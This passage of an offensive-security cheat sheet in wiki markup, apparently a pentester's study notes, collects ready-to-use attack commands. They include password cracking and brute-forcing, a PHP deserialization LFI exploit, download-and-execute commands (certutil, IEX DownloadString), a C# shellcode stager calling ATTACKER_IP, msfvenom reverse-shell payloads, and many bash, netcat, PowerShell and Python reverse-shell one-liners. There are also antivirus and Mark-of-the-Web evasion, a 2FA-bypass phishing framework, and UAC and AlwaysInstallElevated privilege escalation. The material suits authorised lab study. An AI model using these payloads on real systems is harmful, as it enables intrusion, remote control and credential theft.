| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule
|}
https://hashcat.net/wiki/doku.php?id=hashcat

==== Mask attack ====

{| class="wikitable"
|-
| ?l =
| abcdefghijklmnopqrstuvwxyz
|-
| ?u
| ABCDEFGHIJKLMNOPQRSTUVWXYZ
|-
| ?d
| 0123456789
|-
| ?h
| 0123456789abcdef
|-
| ?H
| 0123456789ABCDEF
|-
| ?s
| «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|-
| ?a
| ?l?u?d?s
|-
| ?b
| 0x00 - 0xff
|}
https://hashcat.net/wiki/doku.php?id=mask_attack

<syntaxhighlight lang="bash">
# Example command
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 "C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*" -r "rules\best64.rule"
# Restore session
hashcat.exe --session session1 --restore
# Show cracked hashes
hashcat.exe hash2.hc22000 -m 22000 --show
</syntaxhighlight>

=== Hydra ===

{| class="wikitable"
|-
| Command
| Description
|-
| hydra -P <wordlist> -v <ip> <protocol>
| Brute force against a protocol of your choice
|-
| hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
|-
| hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>
| Attack a Windows Remote Desktop with a password list.
|-
| hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
| Craft a more specific request for Hydra to brute force.
|}
https://www.tryhackme.com/room/hackpark

=== John The Ripper ===

https://blog.aghanim.net/?p=1022

----

== PHP ==

=== shell_exec ===

<syntaxhighlight lang="php">
# If RFI dosent execute script, try this
# Create exploit.php
# cat exploit.php

# Execute
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php
</syntaxhighlight>

=== Deserialization attack ===

See notes for Deployer

<syntaxhighlight lang="bash">
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat 192.168.153.158/web/dev/index.php
file);
}
}
if (!isset($_POST['page'])){
if (strpos(urldecode($_GET['page']),'..')!==false){
include('/var/www/dev/lfi-prev.html');
}
else{
include('/var/www/dev/'.$_GET['page']);
}
}
else{
$f=$_POST['page'];
unserialize($f);
}
?>

# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. '->' is used in object scope to access methods and properties of an object.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat real_exploit.php
file);
}
}
$f = new Page;
$f->file='/etc/passwd';
echo urlencode(serialize($f));
?>

# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]
└─# curl -XPOST -d 'page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D ' http://und3r_dev.deployer.off/index.php

</syntaxhighlight>

----

== Transfering files ==

=== A list of all commands ===

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="bash">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

=== CrackMapExec ===

<syntaxhighlight lang="bash">
# Send a local file to the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
</syntaxhighlight>

=== Certutil ===

Easiest way to transfer to Windows

<syntaxhighlight lang="bash">
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
# Example - This will upload a shell to temp, and run execute it using cmd.exe
certutil -urlcache -split -f "http://192.168.49.233/shell.exe" C:\windows\temp\shell.exe && cmd.exe /c C:\windows\temp\shell.exe
</syntaxhighlight>

=== CMD ===

<syntaxhighlight lang="bash">
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe
</syntaxhighlight>

=== tfpt ===

<syntaxhighlight lang="bash">
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69
kali@kali:~$ sudo apt update && sudo apt install atftp
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
# On target
tftp -i 10.11.0.4 put important.docx
</syntaxhighlight>

=== Encrypted python3 http.server ===

<syntaxhighlight lang="bash">
# Create self signed cert
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
</syntaxhighlight>

<syntaxhighlight lang="bash">
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
</syntaxhighlight>

=== Evil-winrm ===

<syntaxhighlight lang="bash">
# Upload file
upload shell.exe
# Download file
Download target.file
</syntaxhighlight>

=== Netcat ===

Must have nc.exe binary on the target machine.

<syntaxhighlight lang="bash">
# Attacking machine command
nc -lvnp 4444 > FiletoDownload
## Victim machine command
nc.exe 10.10.10.100 4444 -w 3 < Filetodownload
</syntaxhighlight>

=== Rejetto HFS - HTTP File Server (GUI based) ===

Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.

If you have RDP this tool works great.

[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]

=== Tiny Http Server - Rebex ===
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.

https://www.rebex.net/tiny-web-server/

==== Transfer from attacker to target ====

[[File:2023-01-image-2.png|thumb]]

Drag and drop files you want to transfer. Change port by clicking on 'Port:' or change IP by going to Menu and 'IP Adress'.

On target either open browser or wget, curl, etc

<syntaxhighlight lang="bash">
wget http://192.168.1.98:443/nmap.txt
</syntaxhighlight>

==== Transfer from target to attacker ====

[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]

<syntaxhighlight lang="bash">
# Step-by-step
## First, define a real folder. To do this:
# Add a folder.
## Choose real folder.
## You should now see a RED folder in your virtual file system, inside HFS.
## Right click on this folder.
## Set Upload → upload for accounts → anyone
## Now anyone who has access to your HFS server can upload files to you.
</syntaxhighlight>

[[File:2023-01-image-3.png|thumb]]

Anyone can upload

[[File:2023-01-image-4.png|thumb]]

[[File:2023-01-image-5.png|thumb]]

Click on on the folder 'Upload HFS'

[[File:2023-01-image-6.png|thumb]]

Now anyone can upload files

=== SCP ===

<syntaxhighlight lang="bash">
# From target to attacher
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .
# From attacker to target
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/
</syntaxhighlight>

=== SMBServer ===

Create a smbserver with share name "share", and location of folder to share

<syntaxhighlight lang="bash">
smbserver.py share /home/aghanim/Desktop/
## If target only supports smbserver2
smbserver.py share . -smb2support
## On target CMD
\\smbserver-ip\share\$FILE_NAME
## Copy file to target
copy \\smbserver-ip\share\$FILE_NAME .
## Copy file from target to attacker
copy FileToDownload \\smbserver-ip\share\FileToDownload
## SMBserver with username and password
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123
</syntaxhighlight>

=== Powershell ===

Must use single quote for URL. Worsk for Windows 7 & 2008 and above.

<syntaxhighlight lang="powershell">
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
# Attacker
sudo nc -lnvp 443 > receiving_powercat.ps1
# Target
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1
</syntaxhighlight>

==== Python ====

<syntaxhighlight lang="bash">
# Attacker
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
# Target
wget http://ip:port/file
curl http://ip:port/file
</syntaxhighlight>

=== Windows upload using php and powershell ===

<syntaxhighlight lang="bash">
# On attacker, create a php upload script and host it on apache2 server

# On target, upload files using this command.
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
</syntaxhighlight>

----

== Shellcode and Staged payloads ==

=== csharp stager ===

<syntaxhighlight lang="csharp">
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
</syntaxhighlight>

=== Msfvenom Staged payload ===

<syntaxhighlight lang="bash">
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
</syntaxhighlight>

----

== Bind shells ==

https://blog.aghanim.net/?p=1043

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -l -p 443 -e cmd.exe
</syntaxhighlight>

----

== Reverse shells ==

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]

=== Reverse Shell Generator ===

[https://www.revshells.com/ https://www.revshells.com/]

=== hoaxshell ===

Currently undetected by Microsoft and most AV (12.10.2022)

<syntaxhighlight lang="bash">
# https://github.com/t3l3machus/hoaxshell
──(root💀kali)-[/opt/hoaxshell]
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444 1 ⨯
┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬ ┬
├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤ │ │
┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘
by t3l3machus
[Info] Generating reverse shell payload...
powershell -e JABzAD0AJwAxADkAMgAuADEANg....
[Info] Type "help" to get a list of the available prompt commands.
[Info] Http Server started on port 4444.
[Important] Awaiting payload execution to initiate shell session...
[Shell] Payload execution verified!
[Shell] Stabilizing command prompt...
PS C:\Users\AlaaG > whoami
laptop-\alaag
PS C:\Users\AlaaG > systeminfo
Host Name: LAPTOP-
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
</syntaxhighlight>

=== ICMP Reverse Shell ===

<syntaxhighlight lang="bash">
# https://github.com/krabelize/icmpdoor
# https://cryptsus.com/blog/icmp-reverse-shell.html
## Python version usage (both Windows and Linux):
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)
## Binary Windows version usage version:
./icmp-cnc.exe -d VICTIM-IP (Command and Control)
./icmpdoor.exe -d CNC-IP (Implant)
## Binary Linux version usage version:
./icmp-cnc -d VICTIM-IP (Command and Control)
./icmpdoor -d CNC-IP (Implant)
</syntaxhighlight>

=== BASH TCP ===

<syntaxhighlight lang="bash">
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0/dev/tcp/10.0.0.1/4242; sh &196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0&1
## Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
</syntaxhighlight>

=== BASH UDP ===

<syntaxhighlight lang="bash">
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
</syntaxhighlight>

=== ngrok - Catcha reverse shell from the internet ===

[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]

<syntaxhighlight lang="bash">
# On attacker (term1)
ngrok tcp 4444
# On attacker (term2)
nc -lvp 4444
# On target, use your reverse shell payload on the ngrok tunnel target
nc 0.tcp.ngrok.io -e /bin/sh
-----
# Another method if there is a proxy and firewall.
# Setup free domain. (Custom domain is a paid feature)
https://dashboard.ngrok.com/cloud-edge/domains
ngrok http --domain=ngrok-provided-domain.ngrok-free.app
# On attacker
nc -lvnp
</syntaxhighlight>

=== Netcat Traditional ===

<syntaxhighlight lang="bash">
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
</syntaxhighlight>

=== Netcat BusyBox ===

<syntaxhighlight lang="bash">
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
</syntaxhighlight>

=== nc.exe ===

<syntaxhighlight lang="bash">
nc.exe -e cmd.exe attacker_ip attacker_port
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="php">
php -r '$sock=fsockopen("10.10.14.17",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Base64 encoded webshell
""
"& /dev/tcp/192.168.49.129/80 0>&1'); ?>"
</syntaxhighlight>

=== Powershells ===

<syntaxhighlight lang="powershell">
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
</syntaxhighlight>

=== Powershell base64 encoded reverse shell payload ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="python">
import os,pty,socket;s=socket.socket();s.connect(("192.168.49.169",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
</syntaxhighlight>

=== Stabilize shell (Interactive shell) ===

==== Linux ====

<syntaxhighlight lang="bash">
python -c 'import pty;pty.spawn(“/bin/bash”)'
export TERM=xterm
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.
https://blog.aghanim.net/?p=1043
</syntaxhighlight>

==== Windows ====

<syntaxhighlight lang="bash">
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1
# 1. Edit Nishang script and add
Invoke-PowerShellTcp -Reverse -IpAddress -Port
# 2. Start a new netcat listener
# 3. Start simple http.severe where the nishang script is
# 4. On target. (Make sure powershell is enabled and allowed to use)
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1')
</syntaxhighlight>

=== Fix TTY in reverse shell ===

<syntaxhighlight lang="bash">
# In our shell. Remember the rows anc cols
stty -a
# On victim shell
stty rows cols
</syntaxhighlight>

----

== PackMyPayload ==

[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag & demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]

Smuggle payloads using various file formats:

* <code>7zip</code>

* <code>zip</code>

* <code>ISO</code>

* <code>IMG</code>

<syntaxhighlight lang="bash">
# Pack a dir to .iso
PackMyPayload.py C:\my\dir malicious.iso -v
# Pack a malicious code to .vhd
PackMyPayload.py .\evil.lnk .\evil.vhd
</syntaxhighlight>

== Persistence ==

=== Windows ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]

=== Linux ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]

----

== Phishing ==

=== Bypass 2-Fa ===

[https://www.youtube.com/watch?v=FwGeBW6OurM&t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]

[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]

----

== Programming ==

=== Control flow - Logic Statement ===

{| class="wikitable"
|-
| Logic Statement
| Purpose
|-
| if/else
| Executes only if a condition is met, else it will execute a different code block
|-
| try/catch
| Will try to execute a code block and catch it if it fails to handle errors.
|-
| switch case
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default
|-
| for/while loop
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.
|}

----

== Privilege Escalation ==

=== Windows ===

==== Admin Account Credentials ====

[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]

<syntaxhighlight lang="bash">
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas
runas /profile /user:Administrator "nc.exe -e cmd 192.168.49.169 443"
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method is if the shell is non-interactive is to use a powershell script.
# Save this on your Kali and start a HTTP.server.
$password = ConvertTo-SecureString "lab" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("Administrator", $password)
Start-Process -Credential $credential -FilePath "C:\Users\Offsec\Desktop\ProcessHollow.exe"
# Now on the shell you have, run this command.
iex(new-object net.webclient).downloadstring('http://192.168.45.198/test.ps1')
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method again is to RDP to the target if possible and Run As.
</syntaxhighlight>

==== AlwaysInstallElevated ====

If these two registers are enabled then users of any privilege can install '''.msi '''files as NT AUTHORITY\SYSTEM

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
# If 0x1 then its enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Msfvenom payload
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
# The above is better for persistence
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi > rev_shell.msi # Recommeded if not AD.
# Execute
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

----------------
# The above command will probably be detected by AV. You can compile your own .msi.
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated
PS C:\WiX Toolset v3.11\bin> .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)
-------------------------------------------
# You can also use MSI Wrapper.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper
------------------------------------------
# There is also a metasploit module, but it needs a bit tweaking
exploit/windows/local/always_install_elevated
# In the multi handler do the following
set DisablePayloadHandler true - # Disable built-in listener
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload
run -j -z - # Background listener
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
msf6 exploit(windows/local/always_install_elevated) > set VERBOSE true
msf6 exploit(windows/local/always_install_elevated) > set payload windows/exec
msf6 exploit(windows/local/always_install_elevated) > set session 1
# The encoded powershell command do 'whoami > C:\whoami.txt' to verify that it works
msf6 exploit(windows/local/always_install_elevated) > set cmd 'powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA='
msf6 exploit(windows/local/always_install_elevated) > run
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run
msf6 exploit(windows/local/always_install_elevated) > set cmd 'C:\proc_hol.exe'
msf6 exploit(windows/local/always_install_elevated) > run
# You should get a callback to your meterpreter listener.
</syntaxhighlight>

[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]

==== BarracudaDrive 6.5 ====

<syntaxhighlight lang="bash">
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html
</syntaxhighlight>

==== Bypass UAC ====

[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]

<syntaxhighlight lang="bash">
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy Level shell, we might bypass uac.
# Notice the last line, "Mandatory Label\Medium Mandatory Level"
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

# Next check if UAC is enabled
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
# We then have to find a binary that have "autoElevate" set to true.
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate
true
# Then we have to generate a payload using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe > shell.exe
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c
# Compile the above code
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe
# Transfer the binary to target and execute
.\eventvwr-bypassuac-64.exe
# Check your listener and then run "whoami /groups" again and check last line.
Mandatory Label\High Mandatory Level Label S-1-16-12288
# This means you can run elevated commands. Dumping hashes etc.
</syntaxhighlight>

==== CVE ====

===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====

<syntaxhighlight lang="bash">
# https://github.com/apt69/COMahawk
